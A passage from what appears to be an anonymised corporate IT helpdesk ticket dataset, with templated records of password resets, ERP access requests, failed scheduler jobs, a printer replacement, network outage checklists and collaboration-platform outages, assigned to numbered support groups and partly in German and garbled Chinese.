6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: telefon im "meeting room 3" telefonnummer 263 in germany funktioniert der klingelton nicht., Description: wenn jemand von auÃŸerhalb anruft dann klingelt das telefon nicht. bitte mal nachschauen, danke., is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): pm!\_x000D\_
\_x000D\_
enter user id of user having the issue: mathes\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with:\_x000D\_
\_x000D\_
describe the issue: please reset the password. if required, please unlock the id.\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp account locked, Description: \_x000D\_
\_x000D\_
received from: uexodhqa.txqoifsl@gmail.com\_x000D\_
\_x000D\_
dear team,\_x000D\_
\_x000D\_
my erp account got locked because of wrong password attempt.\_x000D\_
\_x000D\_
please support to get unlock the same.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 83.69.48.194 05:42:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 83.69.48.194 05:42:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp printing - !production order! printer mp7456 replacement, Description: production order printer mp7456 is being replaced.
- remove rerouting from mp7456 to mp82 on erp systems
-------------------------------------------------------------------------------------------------------------------------
printer replacement
\*you will need to have power / network connectivity and the printer installed - ready before a ticketing\_tool ticket can be opened. do you have all 3 requirements above satisfied? (yes / no)? yes
\*replacing erp printer name (e.g. hq01, id02, wy61)? mp7456 ( name stays the same)
\*ip address s if known? 10.16.77.214 (ip stays the same)
\*make/model of the replacement erp printer? hp laserjet 500 m575f
\*what erp printer do you currently use (e.g. hq01, id02, wy61)? -
\*list the erp system the printer needs to be defined? erp (SID\_1,SID\_21,SID\_34, SID\_37, SID\_39, SID\_38, hrp, plm etcâ€¦)? hrp,SID\_34, plm (same as old mp7456)
\*what is currently printed on these printers from erp (e.g. inwarehouse\_tools, delivery notes etc..)? same as old mp7456
\*location of install: country / city / building / floor / cubicle? same as old mp7456
\*local it site contact name? xvwchsdg pladjmxt
optional: printer serial number / printer mac address? serial: cnctf6418t
, is assigned to Assignment group: GRP\_5.Ticket with Short description: HostName\_1030 is currently experiencing high cpu utilization. please investigate!, Description: HostName\_1030 is currently experiencing high cpu utilization. please investigate!, is assigned to Assignment group: GRP\_12.Ticket with Short description: hedjdbwlmut.nwwiebler called regarding a folder access query, Description: hedjdbwlmut.nwwiebler called regarding a folder access query, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder read and write access needed, Description: \_x000D\_
\_x000D\_
received from: unzfipac.opwzmlbc@gmail.com\_x000D\_
\_x000D\_
dear colleagues,\_x000D\_
\_x000D\_
please usa access to this path for me for read and write access:\_x000D\_
\_x000D\_
t:\corpbusinessdev\monthly financial review\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_34.Ticket with Short description: activation of outlook email access on iphone 7 device for awddmwdol mwddwansuke, Description:
received from: kbclinop.vsczklfp@gmail.com
hi,
please usa email access on new iphone 7 device for our indirect channel manager, information as follow :
email: ecxwnmqi.pztiqjuh@gmail.com<mailto:ecxwnmqi.pztiqjuh@gmail.com>
manager's name : sqqqd zlkmlwdwdade & nidqknwjktin dewkiodshpande
is this device company owned? yes
is this a replacement of your old device? yes, as the existing old samsung phone is faulty.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: access issue to ess, Description:
received from: ihkolepb.ozhnjyef@gmail.com
hello,
one of the temperory workmen-nxcfastp xnwtyebg whose user id is vvandwkjis is not able to login to ess as his user id locked. he is a kiosk user. please re-set his password and confirm.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit barcode etiketten \volume format zu groÃŸ \vzqomdgt jwoqbuml, Description: obleme mit barcode etiketten \volume format zu groÃŸ \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws in br \usalikfj lfmpxbcn, Description: setup new ws in br \usalikfj lfmpxbcn, is assigned to Assignment group: GRP\_24.Ticket with Short description: der monitor an unser lÃ¤ngenmessmaschine ist defekt ., Description: guten morgen hkydrfdw,
der monitor an unser lÃ¤ngenmessmaschine ist defekt.
bitte kurzfristig einen ersatzmonitor bereitstellen.
danke
, is assigned to Assignment group: GRP\_24.Ticket with Short description: fregabe fÃ¼r ordner applications wurde gekappt???, Description: bitte wieder freigeben, is assigned to Assignment group: GRP\_0.Ticket with Short description: reinstall eagl9111361 from scratch - device chrashes when entering stand by mode, Description: reinstall eagl9111361 from scratch - device chrashes when entering stand by mode, is assigned to Assignment group: GRP\_28.Ticket with Short description: restore, Description:
received from: trgqbeax.hfyzudql@gmail.com
please restore the complete file
HostName\_598/hr\_fd/mitarbeiter/azubis/â€¦
including all files under azubis
danke + viele grÃ¼ÃŸe
trgqbeax hfyzudql
, is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_1378 failed in job\_scheduler at: 83.69.48.194 04:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1378 failed in job\_scheduler at: 83.69.48.194 04:28:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: printer not working. , Description: \_x000D\_
\_x000D\_
received from: yhmzxcia.heszapvl@gmail.com\_x000D\_
\_x000D\_
hi it,\_x000D\_
\_x000D\_
please help to resolve our sg004 printer problem. the printer is fine after printer technician check, it is to do with our cable and server ports in the server room.\_x000D\_
\_x000D\_
we admin have no knowledge and capability to handle that. please have someone to help aerp.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: EU\_tool, pls and wqw are working very slow., Description: EU\_tool, pls and wqw are working very slow., is assigned to Assignment group: GRP\_25.Ticket with Short description: schreibrechte fÃ¼r ksdvp3, ce\_leiter, Description: schreibrechte fÃ¼r ksdvp3, ce\_leiter, is assigned to Assignment group: GRP\_34.Ticket with Short description: on the english forms we are printing german instead of english, Description: there was a change in bank details made with ticket\_no1557889. this is not correctly printing on the english forms. it is showing the correct data but the "descriptions" are in german. example. "bankverbindung instead of bank address, konto nummer instead of account number" i also see that there is an extra text being printed for the customers -- "bitte beachten sie unsere neue bankverbindung." "please note our new bank account details." only the english version should print on the english documents, not both german and english., is assigned to Assignment group: GRP\_13.Ticket with Short description: EU\_tool jobs again not running, please help immediately, Description: released orders do not make it into the "to-do-list", please check the status and restart the system, is assigned to Assignment group: GRP\_25.Ticket with Short description: is skype down?, Description:
received from: lenxvcbq.vwnhjtoi@gmail.com
i am not able to get into skype right now. is there an outage?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: whenever i fill in any amount money into erp, it show me only 1rmb finally in the system., Description: whenever i fill in any amount money into erp, it show me only 1rmb finally in the system. please contact withn me aerp.
my phone : , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1388 failed in job\_scheduler at: 83.69.48.194 03:26:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1388 failed in job\_scheduler at: 83.69.48.194 03:26:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: SID\_1 - configair server responds with " 500 internal server error" in case of any other logon language than "en"., Description: configair server responds with " 500 internal server error" in case of any other logon language then "en" and the model "csewdwdwdndmill" is used. the issue exists in erp erp system SID\_1 as well as on uacyltoe hxgayczedistributor\_tool / uacyltoe hxgayczecompany center - quality environment..
further error message text is " error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'".
logon language "en" is ok. if our "csscdddwsawdrill" model is used all language seem to be working fine. but once the user changes to any other language (e.g. de or it) and uses the model csewdwdwdndmill the configig air system responses with the error message during starting process of configair configurator., is assigned to Assignment group: GRP\_14.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 83.69.48.194 02:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 83.69.48.194 02:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to create delivery [urgent], Description: plant\_304 have 5pcs cannot created d/n for mm#6295171.our customer is very urgent this goods.\_x000D\_
would you please help sloved? \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: backup data, Description: \_x000D\_
\_x000D\_
received from: ucdwyxko.apktrsyq@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
by mistake one of the folder in HostName\_95/rk/7116 has been deleted.\_x000D\_
requesting you to retrieve the same.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_12.Ticket with Short description: SID\_34 - purchase requisition approval issue, Description: \_x000D\_
\_x000D\_
received from: izwtdnfq.xptuoaid@gmail.com\_x000D\_
\_x000D\_
hi it team,\_x000D\_
\_x000D\_
i cannot approve pr via the link provided. i only enable to approve directly in erp via me55.\_x000D\_
\_x000D\_
kindly fix for me. , is assigned to Assignment group: GRP\_29.Ticket with Short description: seit 20.10.2016 06:00mesz serverprobleme qmsoft nicht anwendbar., Description: seit 20.10.2016 06:00mesz serverprobleme qmsoft nicht anwendbar., is assigned to Assignment group: GRP\_25.Ticket with Short description: ibm pmr#902s9kr:problem report from pwr8hmc1.hq.company.com, Description:
from: toolonicserviceagent\_pwr8hmc1@pwr8hmc1.hq.company.com
sent: wednesday, october 19, 2016 9:54 pm
to:
subject: problem report from pwr8hmc1.hq.company.com
reporting system: pwr8hmc1
machine type-model/serial: 8284-22a/21e435v problem number: 101
error: b4141118
description: management console to fsp,bpa, or bpc failure detected last occurred: 10/19/16 9:40 pm current status:
pmr number: n/a
details:
, is assigned to Assignment group: GRP\_47.Ticket with Short description: reset the password for arsbtkvd qieagkos on erp / production / erp, Description: \_x000D\_
\_x000D\_
received from: arsbtkvd.qieagkos@gmail.com\_x000D\_
\_x000D\_
good day!\_x000D\_
could you please reset password for erp?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to add lean project into collaboration\_platform, Description:
received from: jhyazros.azdxonjg@gmail.com
[cid:image001.png@01d22ab4.97030051]
jkddwkwd.ngtr
assistant manager- manufacturing
company india limited
jhyazros.azdxonjg@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: prints (business\_client), Description:
received from: vciknubg.wdlkabms@gmail.com
request access to get prints. my id# is 21164311127.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: can't log in ticketing\_tool , Description:
received from: zuxcfonv.nyhpkrbe@gmail.com
gso
user qzkyugce etsmnuba ( dondwdgj76) can't log on the ticketing\_tool , the system display the user and password invalid , could you work on this ,, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage:cantabria (mecftgobusa) - (kenci) hard down since 10:01 pm on 10/19 et.site has no backup circuit, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_10:01 pm on 10/19 et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_na\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_na\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_na\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_37stat failed in job\_scheduler at: 10/19/2016 22:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37stat failed in job\_scheduler at: 10/19/2016 22:11:00, is assigned to Assignment group: GRP\_1.Ticket with Short description: mm # 2639483 iak-urgent, Description: from: kwddwdw hudfefwe
sent: thursday, october 20, 2016 7:31 am
to: nwfodmhc exurcwkm
cc: rxoynvgi ntgdsehl; gzawrocy shbgwxeparamdnty
subject::fw: mm # 2639483 iak-urgent
it help,
please help check , it's urgent.
din,
in future please raise such issue to our it as well.
ap logistics manager
e: ovhtgsxd.dcqhnrmy@gmail.com
from: rxoynvgi ntgdsehl
sent: thursday, october 20, 2016 9:21 am
to: gzawrocy shbgwxeparamdnty; johthryugftyson hu
cc: kmvwxdti uaoyhcep;
subject: re: mm # 2639483 iak
hi morning ,
this issue still not solve yet, i still encounter same issue the net weight higher than gross weight.
net weight 4777.1000 kgs and physical gross weight 5.000 kgs but in erp SID\_34 vl03n shown it is correct.
attached for your reference.
hi morning,
need your advice on this issue.
this is issue happen since last thursday still not solve yet.
attached email flow for your reference.
ksjfye fekfeealleh
operation supervisor
email : rxoynvgi.ntgdsehl@gmail.com
from:
sent: wednesday, october 19, 2016 7:20 pm
to: gzawrocy shbgwxeparamdnty
cc: kmvwxdti uaoyhcep; rxoynvgi ntgdsehl
subject: aw: mm # 2639483 iak
hello ,
itÂ´s done.
have a nice day
mit freundlichen grÃ¼ÃŸen
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: the note which was always printed at bottom of the quotation was missing. please help to put it back., Description: please see attachment, , is assigned to Assignment group: GRP\_13.Ticket with Short description: erp locked, Description:
received from: vqefplhm.mfpjaleo@gmail.com
hello,
my user id: yandfgs145. please help to unlock it.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: error erp /SID\_34/sa38 /zsd\_mexico\_inwarehouse\_tool\_extract, Description: \_x000D\_
\_x000D\_
received from: zvjwleuo.tdfqgcal@gmail.com\_x000D\_
\_x000D\_
i cannot run the erp /SID\_34/sa38 /zsd\_mexico\_inwarehouse\_tool\_extract, shows an error:\_x000D\_
[cid:image001.png@01d22a3d.f7f2ecb0]\_x000D\_
[cid:image002.png@01d22a3d.f7f2ecb0]\_x000D\_
best , is assigned to Assignment group: GRP\_2.Ticket with Short description: collaboration\_platform access issue , Description: first name: trtgoywdd
last name: povirttch
customer job title: sales engineer
contact #:
email address: cmifnspg.icauzxfh@gmail.com
vitalyst reference number: 0bb7f42a37
was bomsdgar used? yes
description of problem: unable to access collaboration\_platform site
if this problem persists, contact your support team and include these technical details:
correlation id: SID\_215af9d-3033-3000-ace7-0cf21c145e14
date and time: 10/19/2016 4:04:23 pm
user: cmifnspg.icauzxfh@gmail.com
issue type: user does not have permissions.
steps taken so far:
goes to the hub > search > lagp > lagp request > goes to form> click on blue circle> access denied message
previously had access to this site.
, is assigned to Assignment group: GRP\_16.Ticket with Short description: access to SID\_1, Description: i need access to SID\_1 uacyltoe hxgaycze system:
username: owenssdcl12
supervisor: phjencfg kwtcyazx
manager: vnhaycfo smkpfjzv
wsjkbw owwddwens
accounting specialist
, is assigned to Assignment group: GRP\_0.Ticket with Short description: no authorization in apps, Description: no authorization in apps, is assigned to Assignment group: GRP\_25.Ticket with Short description: unable to log in to erp SID\_34, Description: unable to log in to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1315 failed in job\_scheduler at: 10/19/2016 18:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1315 failed in job\_scheduler at: 10/19/2016 18:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: access to erp SID\_1 for user rgpvdhcm mgvpabsj, Description: access to erp SID\_1 for user rgpvdhcm mgvpabsj, is assigned to Assignment group: GRP\_2.Ticket with Short description: folder access requested for HostName\_768, Description: zugriff auf verzeichnis angefragt.\_x000D\_
folder access requested. HostName\_768\_x000D\_
\_x000D\_
benutzer id ?\_x000D\_
user id ?\_x000D\_
\_x000D\_
benutzer die position titel?\_x000D\_
user's position title ?\_x000D\_
\_x000D\_
verzeichnis? \_x000D\_
folder t:\corpbusinessdev\monthly financial review\fy17\2016-9> (october 14, 2016) \_x000D\_
\_x000D\_
art des zugriffs?\_x000D\_
type of access ? (read only or full control) ?, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access request , Description:
summary:need access to the following folder for our financial review t:\corpbusinessdev\monthly financial review\
i need to get read write. i need to save files here & be able to open them, is assigned to Assignment group: GRP\_34.Ticket with Short description: unlocked account, Description: unlocked account, is assigned to Assignment group: GRP\_0.Ticket with Short description: pricing and availability look up in dynamics crm not working , Description: the attached screenshot is from ptljghyk qhtvlrxe. she looked up a product that she knows we have. the screen shows 0., is assigned to Assignment group: GRP\_40.Ticket with Short description: engineering\_tool : not able to update new customer , Description: engineering\_tool : not able to update new customer , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access collaboration\_platform, Description: unable to access collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open engineering\_tool , Description: unable to open engineering\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: permission to create cost centers in SID\_1 erp (transaction ks01), Description: i no longer have access to create cost centers in SID\_1/only SID\_34. please update access for cost center creation in the uacyltoe hxgayczeing system (SID\_1). transaction ks01. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: collaboration\_platform issue , Description:
summary:having issues with collaboration\_platform... unable to access
we have meetings that people have to post documents to the library and are not able to access...when will it be fixed??, is assigned to Assignment group: GRP\_0.Ticket with Short description: static ip address , Description: it has been requested by our temporary service to provide them with a static ip address for a time clock that will be hard wired in. can you provide
contact # :
summary: do i gear the request for a static ip address to this box for assistance, is assigned to Assignment group: GRP\_4.Ticket with Short description: collaboration\_platform system not working, Description: the collaboration\_platform system is not working. multiple users report getting an error trying to open any company.collaboration\_platform.com website. this greatly affects the discount process as we cannot access any request or update approved ones. the error message which pops up is attached. this affects poznaÅ„ and usa., is assigned to Assignment group: GRP\_16.Ticket with Short description: cannot get my usb wifi adapter to work on my laptop., Description: cannot get my usb wifi adapter to work on my laptop., is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to access collaboration\_platform, Description: unable to access collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform issue , Description:
summary:i was thrown off of vpn and tried several times to get back in. i am now back into vpn but cannot sign on to crm, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform issue , Description: collaboration\_platform issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform down , Description: collaboration\_platform down , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype for business is not connected to the exchange., Description: ihuogcqd ihusvgcw phone. my skype for business can't connect to exchange. this has been going on all week. i have rebooted and logged back into skype but it will not connect and i keep getting this error. , is assigned to Assignment group: GRP\_0.Ticket with Short description: the company collaboration\_platform is reporting a down status since 10/19/2016 2:33 pm, Description: the company collaboration\_platform is reporting a down status since 10/19/2016 2:33 pm, is assigned to Assignment group: GRP\_16.Ticket with Short description: vip 1: collaboration\_platform page access issue, Description: vip 1: collaboration\_platform page access issue, is assigned to Assignment group: GRP\_16.Ticket with Short description: when running sa38 report zsdr0100, open order report, the report is not pulling usa scheduling agreements, Description: when running the report, example would be mm # 2123340 for location plant\_92 as the source location, and making sure on the outputs tab, that scheduling agreements are included. this report is not picking up this scheduling agreement 4111333643/000010/0049????, is assigned to Assignment group: GRP\_13.Ticket with Short description: no boot : service tag : 5lkzddens1, Description: windows running into problem : goes to start up repair page.
loading fine in safe mode with networking.
user was able to log in using admin account.but dint dint have access to it.
tried shutting down pc and trying booting up...no go
flea power ..no go..
it was going to repair screen again and again ..
st : 5lkzddens1
contact details :
can be contacted during 7:00am-4:00pm, is assigned to Assignment group: GRP\_3.Ticket with Short description: HostName\_1003 : volume: c:\ label:sys-HostName\_1003 543aa385 is over 85% space consumed. space available: 4.5 g., Description: HostName\_1003 : volume: c:\ label:sys-HostName\_1003 543aa385 is over 85% space consumed. space available: 4.5 g.\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: i need my address added to xerox prtqx7300, Description: i need my address added to xerox prtqx7300, is assigned to Assignment group: GRP\_3.Ticket with Short description: personal number : locked : expense report , Description: personal number : locked : expense report , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 password reset, Description: erp SID\_37 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: it\_ passwort, Description:
received from: soldfnbq.uhnbsvqd@gmail.com
hallo,
ersuche alle meine passwÃ¶rter zurÃ¼ckzusetzen, da gesperrt. crm,erp,vpn
hello,
all my passwords are locked. crm, erp, vpn
mit freundlichen grÃ¼ÃŸen/ best , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype and outlook synch issue , meeting are not showing up in skype,, Description: skype and outlook synch issue , meeting are not showing up in skype,\_x000D\_
error message attached\_x000D\_
\_x000D\_
error message : skype for business and exchange aren't making a connection, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook hang, Description: unable to open the outlook its hang at process stage, is assigned to Assignment group: GRP\_19.Ticket with Short description: this message was sent to the company quarantine database. please contact company it help desk for more information, Description: from: ncasrpvx fijwprtv
sent: wednesday, october 19, 2016 6:24 pm
to: nwfodmhc exurcwkm
subject: tr: notification: re: po #no ds00784fd9b60
hello
could you check this message
, is assigned to Assignment group: GRP\_26.Ticket with Short description: companyguest account for 2 days, Description: mechmet hswddwk
company:sllwdw75
tel.
email: m.hswddwk@wsjsoiwd8yw.de
period: from now til tomorrow at 6mp, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print. driver not found., Description: unable to print. driver not found., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook, Description: unable to open outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: no access to ethics. see below failure message..., Description: welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration\_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp., is assigned to Assignment group: GRP\_23.Ticket with Short description: needs to change password , Description: needs to change password , is assigned to Assignment group: GRP\_0.Ticket with Short description: fails to log in to erp and engineering tool, Description: i changed my password using the password manager and now i am locked out of erp. i used the password manager to unlock but still fails to log in to erp and engineering tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1318 failed in job\_scheduler at: 10/19/2016 10:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1318 failed in job\_scheduler at: 10/19/2016 10:40:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to open netweaver , Description: unable to open netweaver , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype is not functioning, Description: trying to use skype, is not responding, was working earlier, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 1 :user unable to login to the pc., Description: vip 1 :user unable to login to the pc.\_x000D\_
-advised the user to restart the pc and try to login with the new password.no go\_x000D\_
-reset and help the user login to the pc.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved, is assigned to Assignment group: GRP\_27.Ticket with Short description: employment status - new non-employee ycgkinov czoparqg @ us03 temp 10.20.16, Description: \*page down to ensure that all required data fields are complete before submitting\*
use this template for consultants, temps, interns, vendors, etc. please complete all entries.
\*\*id 21111594
first name ?johddnthay
last name ?welwsswbtwe
location ?usa us03
manager / sponsor ?keddsdn wethrybb
cost center ?bdm025
external company name ?kellkwdy
what systems do they need access on ?mii
mii? yes
if yes â€“ is user operator, admin or supervisor?operator need username and p/word
security note: for mii â€“ add im:shopfloor\_user\_\* to user's SID\_34 account
is company email required for this person ?
if yes, by default a k1 license will be assigned for use of owa and collaboration\_platform only, not outlook client, or skype.
if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer.
assign a k1 or e1 license?
access like who (required â€“ this is to review copy-from person's access for approvals)
requires access until (date) ?
is the computer owned by company ?
if yes, is it a laptop or desktop ? computer name:
is remote access/vpn required ?
if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn.
start date ?10.20.16, is assigned to Assignment group: GRP\_2.Ticket with Short description: business\_clientæ— æ³•ç™»å…¥, Description:
received from: ktghvuwr.uwtakcmj@gmail.com
hello
å…³äºŽbusiness\_clientæ— æ³•ç™»å…¥çš„é—®é¢˜è¯·å¸®å¿™è§£å†³ï¼Œå³æ‰“å¼€business\_clientè½¯ä»¶ï¼ŒçŽ°åœ¨æ— æ³•ç™»å…¥:
1ï¼Žè¿žæŽ¥vpnåŽï¼Œä»Žè½¯ä»¶ç«¯ç™»å…¥ä¸è¡Œï¼Œæ˜¾ç¤ºå¦‚ä¸‹ï¼š
[cid:image001.jpg@01d22a56.4f7ef4c0]
2ï¼Žä»Žç½‘é¡µç‰ˆç™»å…¥ï¼Œæ˜¾ç¤ºå¦‚ä¸‹ï¼Œå‡ºæ— æ³•ç™»å…¥ï¼š
[cid:image002.jpg@01d22a56.4f7ef4c0]
ktghvuwr uwtakcmj
sr. application engineer
optimization team
ktghvuwr.uwtakcmj@gmail.com<mailto:ktghvuwr.uwtakcmj@gmail.com>, is assigned to Assignment group: GRP\_0.Ticket with Short description: company guest account set up , Description: company guest account set up , is assigned to Assignment group: GRP\_0.Ticket with Short description: in our west coast email box, we can grab an email and color code it, but it is not undating , Description: not updating so that the other 3 people working the email box can see who has each email, , so we are duplicating work, is assigned to Assignment group: GRP\_0.Ticket with Short description: query regarding unread sync failure emails, Description: query regarding unread sync failure emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to mii system : yrhackgt sfhxckgq, Description: unable to login to mii system : yrhackgt sfhxckgq\_x000D\_
\_x000D\_
checked account and found that it was not locked out.\_x000D\_
suggested user to unlock account from password\_management\_tool and try logging in again some time.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch ethics. flash player issue., Description: unable to launch ethics. flash player issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access e-time. , Description: unable to access e-time. , is assigned to Assignment group: GRP\_0.Ticket with Short description: pls reset me the SID\_39 crm production access, Description: name:francestrhuco
language:
browser:microsoft internet explorer
email:uvdqkbgi.suabfdci@gmail.com
customer number:
telephone:
summary:pls reset me the SID\_39 crm production access
thx, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot get thru to customer application support, something wrong with the phone #, you get a mesaage, Description: their number is , is assigned to Assignment group: GRP\_7.Ticket with Short description: microsoft outlook not responding, cannot open, Description: krthdelly sthytachnik, phone , usa location, login , is assigned to Assignment group: GRP\_0.Ticket with Short description: called to unlock nvyjtmca xjhpznds account user id : datacntr, Description: called to unlock nvyjtmca xjhpznds account user id : datacntr, is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte scanner fÃ¼r we111 einstellen.drucker wurde auf werkseinstellung zurÃ¼ckgesetzt (konica )., Description: bitte scanner fÃ¼r we111 einstellen.drucker wurde auf werkseinstellung zurÃ¼ckgesetzt (konica )., is assigned to Assignment group: GRP\_24.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.
-connected to the user system using teamviewer.
